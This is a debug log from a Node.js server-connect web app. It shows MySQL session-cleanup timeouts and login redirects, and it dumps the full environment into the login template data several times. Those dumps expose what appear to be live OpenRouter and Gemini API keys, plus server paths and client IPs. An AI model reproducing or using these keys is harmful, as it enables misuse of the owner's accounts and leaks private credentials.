  sql: "delete from `sessions` where expired < CAST('2025-12-26 19:18:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 19:20:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 19:20:05' as DATETIME)"
}
2025-12-26T19:48:00.627Z server-connect:router Serving templateView /
2025-12-26T19:48:00.629Z server-connect:app Executing action step identify
2025-12-26T19:48:00.629Z server-connect:app options: { provider: 'security' }
2025-12-26T19:48:00.629Z server-connect:auth No login cookie found
2025-12-26T19:48:00.629Z server-connect:output identity: false
2025-12-26T19:48:00.629Z server-connect:app Executing action step restrict
2025-12-26T19:48:00.629Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-26T19:48:00.630Z server-connect:output restrict: undefined
2025-12-26T19:48:00.874Z server-connect:router Serving templateView /login
2025-12-26T19:48:00.874Z server-connect:app Executing action step identify
2025-12-26T19:48:00.874Z server-connect:app options: { provider: 'security' }
2025-12-26T19:48:00.874Z server-connect:auth No login cookie found
2025-12-26T19:48:00.874Z server-connect:output identity: false
2025-12-26T19:48:00.875Z server-connect:router Render template layouts/authentication
2025-12-26T19:48:00.875Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.178',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-27T19:48:00.874Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.178',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.178',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-26T20:45:07.280Z server-connect:router Serving templateView /
2025-12-26T20:45:07.280Z server-connect:app Executing action step identify
2025-12-26T20:45:07.280Z server-connect:app options: { provider: 'security' }
2025-12-26T20:45:07.280Z server-connect:auth No login cookie found
2025-12-26T20:45:07.280Z server-connect:output identity: false
2025-12-26T20:45:07.280Z server-connect:app Executing action step restrict
2025-12-26T20:45:07.280Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-26T20:45:07.281Z server-connect:output restrict: undefined
2025-12-26T20:45:07.526Z server-connect:router Serving templateView /login
2025-12-26T20:45:07.526Z server-connect:app Executing action step identify
2025-12-26T20:45:07.526Z server-connect:app options: { provider: 'security' }
2025-12-26T20:45:07.526Z server-connect:auth No login cookie found
2025-12-26T20:45:07.526Z server-connect:output identity: false
2025-12-26T20:45:07.526Z server-connect:router Render template layouts/authentication
2025-12-26T20:45:07.526Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.82',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-27T20:45:07.526Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.82',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.82',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 21:37:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 21:37:23' as DATETIME)"
}
2025-12-26T22:40:09.570Z server-connect:router Serving templateView /
2025-12-26T22:40:09.571Z server-connect:app Executing action step identify
2025-12-26T22:40:09.571Z server-connect:app options: { provider: 'security' }
2025-12-26T22:40:09.572Z server-connect:auth No login cookie found
2025-12-26T22:40:09.572Z server-connect:output identity: false
2025-12-26T22:40:09.572Z server-connect:app Executing action step restrict
2025-12-26T22:40:09.572Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-26T22:40:09.573Z server-connect:output restrict: undefined
2025-12-26T22:40:09.813Z server-connect:router Serving templateView /login
2025-12-26T22:40:09.813Z server-connect:app Executing action step identify
2025-12-26T22:40:09.813Z server-connect:app options: { provider: 'security' }
2025-12-26T22:40:09.813Z server-connect:auth No login cookie found
2025-12-26T22:40:09.813Z server-connect:output identity: false
2025-12-26T22:40:09.813Z server-connect:router Render template layouts/authentication
2025-12-26T22:40:09.814Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.50',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-27T22:40:09.813Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.50',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.50',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 22:43:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 22:43:24' as DATETIME)"
}
2025-12-26T22:49:04.982Z server-connect:router Serving templateView /
2025-12-26T22:49:04.982Z server-connect:app Executing action step identify
2025-12-26T22:49:04.982Z server-connect:app options: { provider: 'security' }
2025-12-26T22:49:04.982Z server-connect:auth No login cookie found
2025-12-26T22:49:04.982Z server-connect:output identity: false
2025-12-26T22:49:04.982Z server-connect:app Executing action step restrict
2025-12-26T22:49:04.982Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-26T22:49:04.983Z server-connect:output restrict: undefined
2025-12-26T22:49:05.228Z server-connect:router Serving templateView /login
2025-12-26T22:49:05.229Z server-connect:app Executing action step identify
2025-12-26T22:49:05.229Z server-connect:app options: { provider: 'security' }
2025-12-26T22:49:05.229Z server-connect:auth No login cookie found
2025-12-26T22:49:05.229Z server-connect:output identity: false
2025-12-26T22:49:05.229Z server-connect:router Render template layouts/authentication
2025-12-26T22:49:05.229Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.30',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-27T22:49:05.228Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.30',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    'HTTP_X_FORWARDED-FOR': '23.27.145.30',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-26 22:53:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-26 22:53:03' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 00:15:24' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 00:15:24' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-27 00:19:04' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-27 00:19:04' as DATETIME)"
}
2025-12-27T00:19:52.483Z server-connect:router Serving templateView /
2025-12-27T00:19:52.483Z server-connect:app Executing action step identify
2025-12-27T00:19:52.483Z server-connect:app options: { provider: 'security' }
2025-12-27T00:19:52.484Z server-connect:auth No login cookie found
2025-12-27T00:19:52.484Z server-connect:output identity: false
2025-12-27T00:19:52.484Z server-connect:app Executing action step restrict
2025-12-27T00:19:52.484Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-27T00:19:52.484Z server-connect:output restrict: undefined
2025-12-27T00:19:52.721Z server-connect:router Serving templateView /login
2025-12-27T00:19:52.722Z server-connect:app Executing action step identify
2025-12-27T00:19:52.722Z server-connect:app options: { provider: 'security' }
2025-12-27T00:19:52.722Z server-connect:auth No login cookie found
2025-12-27T00:19:52.722Z server-connect:output identity: false
2025-12-27T00:19:52.722Z server-connect:router Render template layouts/authentication
2025-12-27T00:19:52.723Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
